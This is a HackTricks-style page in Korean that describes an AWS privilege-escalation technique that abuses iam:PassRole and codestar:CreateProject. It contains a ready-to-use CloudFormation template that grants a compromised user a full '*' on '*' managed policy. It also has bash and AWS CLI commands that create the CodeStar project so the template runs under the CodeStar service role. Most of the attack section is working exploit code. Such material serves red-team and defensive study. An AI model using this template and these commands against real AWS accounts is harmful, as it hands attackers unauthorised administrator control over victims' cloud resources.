iam:PassRole, codestar:CreateProject

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

이 권한을 사용하면 codestar IAM 역할을 악용하여 임의의 작업클라우드포메이션 템플릿을 통해 수행할 수 있습니다.

이를 악용하기 위해 공격 대상 계정에서 접근 가능한 S3 버킷을 생성해야 합니다. toolchain.json이라는 파일을 업로드하세요. 이 파일에는 클라우드포메이션 템플릿 악용이 포함되어야 합니다. 다음 템플릿은 제어하고 있는 사용자에게 관리형 정책을 설정하고 관리자 권한을 부여하는 데 사용할 수 있습니다:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

또한 이 빈 zip 파일을 버킷업로드하십시오:

두 파일이 있는 버킷은 피해 계정에서 접근 가능해야 합니다.

두 가지를 업로드한 후에는 코드스타 프로젝트를 생성하여 공격을 진행할 수 있습니다:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

이 취약점은 다음의 특권을 이용한 Pacu 취약점에 기반합니다: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 여기에서는 사용자 대신 역할에 대한 관리형 정책을 만드는 변형을 찾을 수 있습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新